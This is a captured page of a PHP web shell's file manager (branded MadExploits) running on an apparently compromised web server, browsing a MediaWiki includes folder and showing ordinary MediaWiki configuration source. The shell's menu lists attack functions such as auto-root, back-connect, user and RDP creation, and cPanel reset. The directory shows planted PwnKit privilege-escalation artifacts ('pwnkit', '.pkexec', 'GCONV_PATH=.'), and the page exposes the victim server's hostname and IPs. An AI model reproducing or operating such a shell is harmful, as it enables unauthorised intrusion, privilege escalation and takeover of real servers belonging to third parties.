Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
discover /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
actions
[ DIR ]
drwxr-xr-x
api
[ DIR ]
drwxr-xr-x
cache
[ DIR ]
drwxr-xr-x
context
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
debug
[ DIR ]
drwxr-xr-x
diff
[ DIR ]
drwxr-xr-x
extauth
[ DIR ]
drwxr-xr-x
filerepo
[ DIR ]
drwxr-xr-x
installer
[ DIR ]
drwxr-xr-x
interwiki
[ DIR ]
drwxr-xr-x
job
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
logging
[ DIR ]
drwxr-xr-x
media
[ DIR ]
drwxr-xr-x
normal
[ DIR ]
drwxr-xr-x
objectcache
[ DIR ]
drwxr-xr-x
parser
[ DIR ]
drwxr-xr-x
profiler
[ DIR ]
drwxr-xr-x
resourceloader
[ DIR ]
drwxr-xr-x
revisiondelete
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
specials
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxr-xr-x
zhtable
[ DIR ]
drwxr-xr-x
.htaccess
14
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
Action.php
14.69
KB
-rw-r--r--
AjaxDispatcher.php
3.34
KB
-rw-r--r--
AjaxResponse.php
6.32
KB
-rw-r--r--
Article.php
54.32
KB
-rw-r--r--
AuthPlugin.php
7.85
KB
-rw-r--r--
AutoLoader.php
52.01
KB
-rw-r--r--
Autopromote.php
5.92
KB
-rw-r--r--
BacklinkCache.php
9.32
KB
-rw-r--r--
Block.php
33.87
KB
-rw-r--r--
Category.php
8.44
KB
-rw-r--r--
CategoryPage.php
2.58
KB
-rw-r--r--
CategoryViewer.php
20
KB
-rw-r--r--
Categoryfinder.php
5.16
KB
-rw-r--r--
Cdb.php
3.67
KB
-rw-r--r--
Cdb_PHP.php
10.73
KB
-rw-r--r--
ChangeTags.php
8.57
KB
-rw-r--r--
ChangesFeed.php
5.94
KB
-rw-r--r--
ChangesList.php
34.87
KB
-rw-r--r--
Collation.php
9.86
KB
-rw-r--r--
ConfEditor.php
29.16
KB
-rw-r--r--
Cookie.php
6.22
KB
-rw-r--r--
CryptRand.php
17.09
KB
-rw-r--r--
DefaultSettings.php
186.34
KB
-rw-r--r--
DeferredUpdates.php
2.06
KB
-rw-r--r--
Defines.php
7.21
KB
-rw-r--r--
EditPage.php
103.6
KB
-rw-r--r--
Exception.php
13.93
KB
-rw-r--r--
Export.php
32.68
KB
-rw-r--r--
ExternalEdit.php
3.51
KB
-rw-r--r--
ExternalStore.php
4.29
KB
-rw-r--r--
ExternalStoreDB.php
4.47
KB
-rw-r--r--
ExternalStoreHttp.php
463
B
-rw-r--r--
ExternalUser.php
8.96
KB
-rw-r--r--
FakeTitle.php
6.54
KB
-rw-r--r--
Fallback.php
5.61
KB
-rw-r--r--
Feed.php
10.26
KB
-rw-r--r--
FeedUtils.php
6.37
KB
-rw-r--r--
FileDeleteForm.php
10.06
KB
-rw-r--r--
ForkController.php
4.04
KB
-rw-r--r--
FormOptions.php
7.56
KB
-rw-r--r--
GlobalFunctions.php
107.24
KB
-rw-r--r--
HTMLForm.php
53.15
KB
-rw-r--r--
HistoryBlob.php
14.38
KB
-rw-r--r--
Hooks.php
7.89
KB
-rw-r--r--
Html.php
26.4
KB
-rw-r--r--
HttpFunctions.old.php
318
B
-rw-r--r--
HttpFunctions.php
23.29
KB
-rw-r--r--
IP.php
21.76
KB
-rw-r--r--
ImageFunctions.php
2.33
KB
-rw-r--r--
ImageGallery.php
10.42
KB
-rw-r--r--
ImagePage.php
36.96
KB
-rw-r--r--
ImageQueryPage.php
1.5
KB
-rw-r--r--
Import.php
37.73
KB
-rw-r--r--
Init.php
5.19
KB
-rw-r--r--
Licenses.php
4.17
KB
-rw-r--r--
LinkFilter.php
4.46
KB
-rw-r--r--
Linker.php
67.82
KB
-rw-r--r--
LinksUpdate.php
24.83
KB
-rw-r--r--
LocalisationCache.php
31.51
KB
-rw-r--r--
MWFunction.php
2.22
KB
-rw-r--r--
MagicWord.php
19.42
KB
-rw-r--r--
Message.php
15.95
KB
-rw-r--r--
MessageBlobStore.php
10.5
KB
-rw-r--r--
Metadata.php
5.5
KB
-rw-r--r--
MimeMagic.php
32.92
KB
-rw-r--r--
Namespace.php
9.02
KB
-rw-r--r--
OutputHandler.php
4.81
KB
-rw-r--r--
OutputPage.php
104.02
KB
-rw-r--r--
PHPVersionError.php
2.95
KB
-rw-r--r--
PageQueryPage.php
639
B
-rw-r--r--
Pager.php
33.1
KB
-rw-r--r--
PathRouter.php
11.23
KB
-rw-r--r--
PoolCounter.php
5.69
KB
-rw-r--r--
Preferences.php
47.49
KB
-rw-r--r--
PrefixSearch.php
5.55
KB
-rw-r--r--
ProtectionForm.php
20.1
KB
-rw-r--r--
ProxyTools.php
2.5
KB
-rw-r--r--
QueryPage.php
22.78
KB
-rw-r--r--
RecentChange.php
22.31
KB
-rw-r--r--
Revision.php
33.01
KB
-rw-r--r--
RevisionList.php
7.2
KB
-rw-r--r--
Sanitizer.php
52.53
KB
-rw-r--r--
SeleniumWebSettings.php
5.85
KB
-rw-r--r--
Setup.php
16.36
KB
-rw-r--r--
SiteConfiguration.php
12.88
KB
-rw-r--r--
SiteStats.php
11.54
KB
-rw-r--r--
Skin.php
41.11
KB
-rw-r--r--
SkinLegacy.php
20.25
KB
-rw-r--r--
SkinTemplate.php
62.44
KB
-rw-r--r--
SpecialPage.php
32.82
KB
-rw-r--r--
SpecialPageFactory.php
18.3
KB
-rw-r--r--
SquidPurgeClient.php
10.05
KB
-rw-r--r--
Status.php
8.62
KB
-rw-r--r--
StreamFile.php
5.46
KB
-rw-r--r--
StringUtils.php
11.32
KB
-rw-r--r--
StubObject.php
4.61
KB
-rw-r--r--
Title.php
133.73
KB
-rw-r--r--
TitleArray.php
1.95
KB
-rw-r--r--
User.php
116.25
KB
-rw-r--r--
UserArray.php
1.92
KB
-rw-r--r--
UserMailer.php
24.12
KB
-rw-r--r--
UserRightsProxy.php
5.56
KB
-rw-r--r--
ViewCountUpdate.php
3.43
KB
-rw-r--r--
WatchedItem.php
4.81
KB
-rw-r--r--
WebRequest.php
37.03
KB
-rw-r--r--
WebResponse.php
4.29
KB
-rw-r--r--
WebStart.php
4.94
KB
-rw-r--r--
Wiki.php
18.24
KB
-rw-r--r--
WikiCategoryPage.php
618
B
-rw-r--r--
WikiError.php
3.88
KB
-rw-r--r--
WikiFilePage.php
3.71
KB
-rw-r--r--
WikiMap.php
5.38
KB
-rw-r--r--
WikiPage.php
85.98
KB
-rw-r--r--
Xml.php
27.63
KB
-rw-r--r--
XmlTypeCheck.php
2.52
KB
-rw-r--r--
ZhClient.php
2.85
KB
-rw-r--r--
ZhConversion.php
415
KB
-rw-r--r--
ZipDirectoryReader.php
20.33
KB
-rw-r--r--
mime.info
3.86
KB
-rw-r--r--
mime.types
5.24
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
tidy.conf
413
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SiteConfiguration.php
<?php /** * This is a class used to hold configuration settings, particularly for multi-wiki sites. */ class SiteConfiguration { /** * Array of suffixes, for self::siteFromDB() */ public $suffixes = array(); /** * Array of wikis, should be the same as $wgLocalDatabases */ public $wikis = array(); /** * The whole array of settings */ public $settings = array(); /** * Array of domains that are local and can be handled by the same server */ public $localVHosts = array(); /** * Optional callback to load full configuration data. */ public $fullLoadCallback = null; /** Whether or not all data has been loaded */ public $fullLoadDone = false; /** * A callback function that returns an array with the following keys (all * optional): * - suffix: site's suffix * - lang: site's lang * - tags: array of wiki tags * - params: array of parameters to be replaced * The function will receive the SiteConfiguration instance in the first * argument and the wiki in the second one. * if suffix and lang are passed they will be used for the return value of * self::siteFromDB() and self::$suffixes will be ignored */ public $siteParamsCallback = null; /** * Retrieves a configuration setting for a given wiki. * @param $settingName String ID of the setting name to retrieve * @param $wiki String Wiki ID of the wiki in question. * @param $suffix String The suffix of the wiki in question. * @param $params Array List of parameters. $.'key' is replaced by $value in all returned data. * @param $wikiTags Array The tags assigned to the wiki. * @return Mixed the value of the setting requested. */ public function get( $settingName, $wiki, $suffix = null, $params = array(), $wikiTags = array() ) { $params = $this->mergeParams( $wiki, $suffix, $params, $wikiTags ); return $this->getSetting( $settingName, $wiki, $params ); } /** * Really retrieves a configuration setting for a given wiki. * * @param $settingName String ID of the setting name to retrieve. * @param $wiki String Wiki ID of the wiki in question. * @param $params Array: array of parameters. * @return Mixed the value of the setting requested. */ protected function getSetting( $settingName, $wiki, /*array*/ $params ){ $retval = null; if( array_key_exists( $settingName, $this->settings ) ) { $thisSetting =& $this->settings[$settingName]; do { // Do individual wiki settings if( array_key_exists( $wiki, $thisSetting ) ) { $retval = $thisSetting[$wiki]; break; } elseif( array_key_exists( "+$wiki", $thisSetting ) && is_array( $thisSetting["+$wiki"] ) ) { $retval = $thisSetting["+$wiki"]; } // Do tag settings foreach( $params['tags'] as $tag ) { if( array_key_exists( $tag, $thisSetting ) ) { if ( isset( $retval ) && is_array( $retval ) && is_array( $thisSetting[$tag] ) ) { $retval = self::arrayMerge( $retval, $thisSetting[$tag] ); } else { $retval = $thisSetting[$tag]; } break 2; } elseif( array_key_exists( "+$tag", $thisSetting ) && is_array($thisSetting["+$tag"]) ) { if( !isset( $retval ) ) $retval = array(); $retval = self::arrayMerge( $retval, $thisSetting["+$tag"] ); } } // Do suffix settings $suffix = $params['suffix']; if( !is_null( $suffix ) ) { if( array_key_exists( $suffix, $thisSetting ) ) { if ( isset($retval) && is_array($retval) && is_array($thisSetting[$suffix]) ) { $retval = self::arrayMerge( $retval, $thisSetting[$suffix] ); } else { $retval = $thisSetting[$suffix]; } break; } elseif( array_key_exists( "+$suffix", $thisSetting ) && is_array($thisSetting["+$suffix"]) ) { if (!isset($retval)) $retval = array(); $retval = self::arrayMerge( $retval, $thisSetting["+$suffix"] ); } } // Fall back to default. if( array_key_exists( 'default', $thisSetting ) ) { if( is_array( $retval ) && is_array( $thisSetting['default'] ) ) { $retval = self::arrayMerge( $retval, $thisSetting['default'] ); } else { $retval = $thisSetting['default']; } break; } } while ( false ); } if( !is_null( $retval ) && count( $params['params'] ) ) { foreach ( $params['params'] as $key => $value ) { $retval = $this->doReplace( '$' . $key, $value, $retval ); } } return $retval; } /** * Type-safe string replace; won't do replacements on non-strings * private? * * @param $from * @param $to * @param $in * @return string */ function doReplace( $from, $to, $in ) { if( is_string( $in ) ) { return str_replace( $from, $to, $in ); } elseif( is_array( $in ) ) { foreach( $in as $key => $val ) { $in[$key] = $this->doReplace( $from, $to, $val ); } return $in; } else { return $in; } } /** * Gets all settings for a wiki * @param $wiki String Wiki ID of the wiki in question. * @param $suffix String The suffix of the wiki in question. * @param $params Array List of parameters. $.'key' is replaced by $value in all returned data. * @param $wikiTags Array The tags assigned to the wiki. * @return Array Array of settings requested. */ public function getAll( $wiki, $suffix = null, $params = array(), $wikiTags = array() ) { $params = $this->mergeParams( $wiki, $suffix, $params, $wikiTags ); $localSettings = array(); foreach( $this->settings as $varname => $stuff ) { $append = false; $var = $varname; if ( substr( $varname, 0, 1 ) == '+' ) { $append = true; $var = substr( $varname, 1 ); } $value = $this->getSetting( $varname, $wiki, $params ); if ( $append && is_array( $value ) && is_array( $GLOBALS[$var] ) ) $value = self::arrayMerge( $value, $GLOBALS[$var] ); if ( !is_null( $value ) ) { $localSettings[$var] = $value; } } return $localSettings; } /** * Retrieves a configuration setting for a given wiki, forced to a boolean. * @param $setting String ID of the setting name to retrieve * @param $wiki String Wiki ID of the wiki in question. * @param $suffix String The suffix of the wiki in question. * @param $wikiTags Array The tags assigned to the wiki. * @return bool The value of the setting requested. */ public function getBool( $setting, $wiki, $suffix = null, $wikiTags = array() ) { return (bool)($this->get( $setting, $wiki, $suffix, array(), $wikiTags ) ); } /** * Retrieves an array of local databases * * @return array */ function &getLocalDatabases() { return $this->wikis; } /** * Retrieves the value of a given setting, and places it in a variable passed by reference. * @param $setting String ID of the setting name to retrieve * @param $wiki String Wiki ID of the wiki in question. * @param $suffix String The suffix of the wiki in question. * @param $var Reference The variable to insert the value into. * @param $params Array List of parameters. $.'key' is replaced by $value in all returned data. * @param $wikiTags Array The tags assigned to the wiki. */ public function extractVar( $setting, $wiki, $suffix, &$var, $params = array(), $wikiTags = array() ) { $value = $this->get( $setting, $wiki, $suffix, $params, $wikiTags ); if ( !is_null( $value ) ) { $var = $value; } } /** * Retrieves the value of a given setting, and places it in its corresponding global variable. * @param $setting String ID of the setting name to retrieve * @param $wiki String Wiki ID of the wiki in question. * @param $suffix String The suffix of the wiki in question. * @param $params Array List of parameters. $.'key' is replaced by $value in all returned data. * @param $wikiTags Array The tags assigned to the wiki. */ public function extractGlobal( $setting, $wiki, $suffix = null, $params = array(), $wikiTags = array() ) { $params = $this->mergeParams( $wiki, $suffix, $params, $wikiTags ); $this->extractGlobalSetting( $setting, $wiki, $params ); } /** * @param $setting string * @param $wiki string * @param $params array */ public function extractGlobalSetting( $setting, $wiki, $params ) { $value = $this->getSetting( $setting, $wiki, $params ); if ( !is_null( $value ) ) { if (substr($setting,0,1) == '+' && is_array($value)) { $setting = substr($setting,1); if ( is_array($GLOBALS[$setting]) ) { $GLOBALS[$setting] = self::arrayMerge( $GLOBALS[$setting], $value ); } else { $GLOBALS[$setting] = $value; } } else { $GLOBALS[$setting] = $value; } } } /** * Retrieves the values of all settings, and places them in their corresponding global variables. * @param $wiki String Wiki ID of the wiki in question. * @param $suffix String The suffix of the wiki in question. * @param $params Array List of parameters. $.'key' is replaced by $value in all returned data. * @param $wikiTags Array The tags assigned to the wiki. */ public function extractAllGlobals( $wiki, $suffix = null, $params = array(), $wikiTags = array() ) { $params = $this->mergeParams( $wiki, $suffix, $params, $wikiTags ); foreach ( $this->settings as $varName => $setting ) { $this->extractGlobalSetting( $varName, $wiki, $params ); } } /** * Return specific settings for $wiki * See the documentation of self::$siteParamsCallback for more in-depth * documentation about this function * * @param $wiki String * @return array */ protected function getWikiParams( $wiki ){ static $default = array( 'suffix' => null, 'lang' => null, 'tags' => array(), 'params' => array(), ); if( !is_callable( $this->siteParamsCallback ) ) { return $default; } $ret = call_user_func_array( $this->siteParamsCallback, array( $this, $wiki ) ); # Validate the returned value if( !is_array( $ret ) ) { return $default; } foreach( $default as $name => $def ){ if( !isset( $ret[$name] ) || ( is_array( $default[$name] ) && !is_array( $ret[$name] ) ) ) $ret[$name] = $default[$name]; } return $ret; } /** * Merge params between the ones passed to the function and the ones given * by self::$siteParamsCallback for backward compatibility * Values returned by self::getWikiParams() have the priority. * * @param $wiki String Wiki ID of the wiki in question. * @param $suffix String The suffix of the wiki in question. * @param $params Array List of parameters. $.'key' is replaced by $value in * all returned data. * @param $wikiTags Array The tags assigned to the wiki. * @return array */ protected function mergeParams( $wiki, $suffix, /*array*/ $params, /*array*/ $wikiTags ){ $ret = $this->getWikiParams( $wiki ); if( is_null( $ret['suffix'] ) ) $ret['suffix'] = $suffix; $ret['tags'] = array_unique( array_merge( $ret['tags'], $wikiTags ) ); $ret['params'] += $params; // Automatically fill that ones if needed if( !isset( $ret['params']['lang'] ) && !is_null( $ret['lang'] ) ) $ret['params']['lang'] = $ret['lang']; if( !isset( $ret['params']['site'] ) && !is_null( $ret['suffix'] ) ) $ret['params']['site'] = $ret['suffix']; return $ret; } /** * Work out the site and language name from a database name * @param $db * * @return array */ public function siteFromDB( $db ) { // Allow override $def = $this->getWikiParams( $db ); if( !is_null( $def['suffix'] ) && !is_null( $def['lang'] ) ) return array( $def['suffix'], $def['lang'] ); $site = null; $lang = null; foreach ( $this->suffixes as $suffix ) { if ( $suffix === '' ) { $site = ''; $lang = $db; break; } elseif ( substr( $db, -strlen( $suffix ) ) == $suffix ) { $site = $suffix == 'wiki' ? 'wikipedia' : $suffix; $lang = substr( $db, 0, strlen( $db ) - strlen( $suffix ) ); break; } } $lang = str_replace( '_', '-', $lang ); return array( $site, $lang ); } /** * Returns true if the given vhost is handled locally. * @param $vhost String * @return bool */ public function isLocalVHost( $vhost ) { return in_array( $vhost, $this->localVHosts ); } /** * Merge multiple arrays together. * On encountering duplicate keys, merge the two, but ONLY if they're arrays. * PHP's array_merge_recursive() merges ANY duplicate values into arrays, * which is not fun * * @param $array1 array * * @return array */ static function arrayMerge( $array1/* ... */ ) { $out = $array1; for( $i = 1; $i < func_num_args(); $i++ ) { foreach( func_get_arg( $i ) as $key => $value ) { if ( isset($out[$key]) && is_array($out[$key]) && is_array($value) ) { $out[$key] = self::arrayMerge( $out[$key], $value ); } elseif ( !isset($out[$key]) || !$out[$key] && !is_numeric($key) ) { // Values that evaluate to true given precedence, for the primary purpose of merging permissions arrays. $out[$key] = $value; } elseif ( is_numeric( $key ) ) { $out[] = $value; } } } return $out; } public function loadFullData() { if ($this->fullLoadCallback && !$this->fullLoadDone) { call_user_func( $this->fullLoadCallback, $this ); $this->fullLoadDone = true; } } }
Close